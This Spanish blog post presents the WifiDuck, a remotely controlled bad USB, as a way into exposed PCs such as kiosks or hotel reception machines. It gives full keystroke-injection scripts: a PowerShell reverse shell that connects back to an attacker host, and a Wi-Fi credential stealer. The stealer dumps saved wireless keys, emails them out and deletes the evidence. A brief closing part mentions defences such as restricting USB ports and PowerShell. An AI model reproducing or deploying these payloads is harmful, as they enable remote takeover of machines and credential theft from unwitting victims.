WifiDuck - other bad USB

Overview

Los bad USB son unos viejos conocidos, el más popular es el USB Rubber Ducky de hack 5, pero podemos encontrar infinidad de información de cómo crear versiones económicas del mismo.

Este dispositivo es un pendrive que, ante el PC, se presenta como un teclado, con instrucciones programadas que ejecuta en el momento en que se conecta.

Se popularizaron de nuevo cuando en un episodio de Mr. Robbot, Darlen los usa para obtener el control de un sistema de la policía. Deja decenas de pendrive en la calle, delante de la comisaria, con la idea de que algún agente encuentre uno de ellos y lo introduzca en un PC.

Ésta era hasta ahora la estrategia de uso de los bad USB, un poco de ingeniería social, dejándolo olvidado en un sitio estratégico, a la espera de que algún curioso lo conecte a su PC.

Actualmente hay nuevas variantes y es con una de ellas con la que jugaremos esta vez.

Wifi Duck

El Wifi duck es un restailing de los ya mencionados bad USB, en este caso ideados para trabajar con equipos poco vigilados, a los que se haya podido tener acceso físico en algún momento, para conectar el dispositivo que controlaremos posteriormente a distancia.

Como su predecesor, este se presenta al PC victima como un teclado y crea un punto de acceso inalámbrico mediante la cual, el atacante, podrá comunicarse con él y ejecutar todo tipo de comandos.

Este dispositivo es parcialmente compatible con los scripts de Rubber Ducky, por lo que dispondremos de muchísimos ejemplos en internet, que funcionaran perfectamente después de algunas modificaciones. Podéis consultar algunos de ellos en el siguiente [github] (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)

Una vez lo hayamos conectado a un PC, buscamos el punto de acceso wifiduck (por defecto, aunque se puede cambiar en la configuración del dispositivo para pasar más inadvertido), desde nuestro PC atacante o dispositivo móvil.

A continuación, desde nuestro explorador web accederemos a la dirección http://192.168.4.1, accediendo así al panel de control de nuestro WifiDuck.

En la pantalla inicial encontramos los distintos scripts que tengamos almacenados, el editor de scripts y cierta información de ayuda para su uso.

Pensemos en un “totem” publicitario / informativo de un centro comercial, el pc de la recepción de un hotel o en cualquier equipo que, estando expuesto físicamente, pueda tener un USB descuidado. Estos, son candidatos susceptibles a ser comprometidos con este tipo de técnicas, que como veremos con los siguientes ejemplos nos permitirán ejecutar scripts o comandos a distancia.

Hello world

Como primer ejemplo qué mejor que el clásico hello world.

En el dispositivo crearemos el siguiente script.

1
2
3
4
5
6
7
8
9
10
11
WINDOWS r 

DELAY 200

STRING notepad.exe

RETURN

DELAY 200

STRING Hello playingwith.info

Con estas pocas líneas, al ejecutar el script, se abrirá un blog de notas en el “PC victima” y se escribirá “Hello playingwith.info” en él.

Ahora que hemos ejecutado el primer ejemplo, supongo que ya se hace patente el potencial de este pequeño dispositivo.

Podéis encontrar la sintaxis completa en su wiki para crear vuestros propios scripts, combinando variaciones de teclado y comandos, el límite es la imaginación.

Remote shell

El siguiente ejemplo, un poco más divertido, nos proporcionará un acceso remoto al “PC victima”. Este código abrirá una PowerShell que proporcionará una shell remota a nuestro PC atacante proporcionándonos así control total del sistema comprometido.

Para llevarlo a cabo iniciaremos netcat en el pc atacante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
LOCALE ES 

WINDOWS r

DELAY 200

STRING powershell

ENTER

DELAY 200

STRING $client = New-Object System.Net.Sockets.TCPClient("10.0.2.15",4242)

ENTER

STRING $stream = $client.GetStream()

ENTER

STRING [byte[]]$bytes = 0..65535|%{0}

ENTER

STRING while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){

ENTER

STRING $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

ENTER

STRING $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> "

ENTER

STRING $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

ENTER

STRING $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

ENTER

Este, es un ejemplo de laboratorio, en un caso real usaríamos técnicas para que la ventana de PowerShell se ocultara y se ejecutara de forma discreta.

En el siguiente video podemos observar el ejercicio en acción.

Wifi stoler

Para finalizar la práctica, este último script crea un fichero con las credenciales de las redes wifi que el “PC victima” tenga guardadas y nos las envía por correo electrónico.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
LOCALE ES 

DELAY 2000

WINDOWS d

REM --> Open cmd

WINDOWS r

DELAY 500

STRING cmd

ENTER

DELAY 1000

REM --> Change directory (you can change this to something else to make less visible)

STRING cd "%USERPROFILE%\Desktop"

ENTER

REM --> Get key

STRING netsh wlan show profiles * key=clear > Temp.txt

ENTER

DELAY 200

REM --> Mail Log.txt

STRING powershell

ENTER

DELAY 200

STRING $password = ConvertTo-SecureString "password" -AsPlainText -Force

ENTER

STRING $Cred = New-Object System.Management.Automation.PSCredential ("[email protected]", $password)

ENTER

STRING $From = "[email protected]"

ENTER

STRING $To = "[email protected]"

ENTER

STRING $Attachment = "Temp.txt"

ENTER

STRING $Subject = "Wifi keysn"

ENTER

STRING $Body = "<h2>The data is in the attach!</h2><br><br>"

ENTER

STRING $SMTPServer = "smtp.gmail.com"

ENTER

STRING $SMTPPort = "587"

ENTER

STRING Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -BodyAsHtml -SmtpServer $SMTPServer -Port $SMTPPort -UseSsl –Credential $Cred –Attachments $Attachment

ENTER

DELAY 200

STRING exit

ENTER

STRING cd "%USERPROFILE%\Desktop"

ENTER

REM --> Delete Temp.txt

STRING del Temp.txt

ENTER

Nota: todas las credenciales de este ejemplo se han creado específicamente para el ejercicio y ya no se encuentran disponibles, no perdáis el tiempo. ;)

En el siguiente video podemos observar el ejercicio en acción.

Conclusiones

Tanto los bad USB como los Wifiduck, son dispositivos que nos permiten ejecutar programas a distancia. Unos de forma autónoma y los otros a demanda. Ambos tienen precios asequibles, lo que puede ser importante ya que en caso de un ataque real posiblemente perderemos el dispositivo.

Como se muestra en los ejercicios realizados, nos ofrecen mucho juego, pueden ser una buena entrada a equipos a los que de algún modo se haya podido conseguir acceso físico para poder conectarlo.

Es difícil protegerse de este tipo de ataques, ya que el dispositivo se comporta como un teclado, lo que hace que los sistemas de defensa no lo vean como una amenaza. En el caso de equipos fácilmente accesibles puede ser interesante limitar el acceso a los puertos USB.

Por otro lado, toda política que limite el acceso a internet, sistema de comandos y PowerShell nos ayudara a mitigar la amenaza.

Hasta aquí el post de hoy. Espero haya sido de vuestro interés.
No dudéis en contactar mediante el formulario para hacerme llegar vuestros comentarios.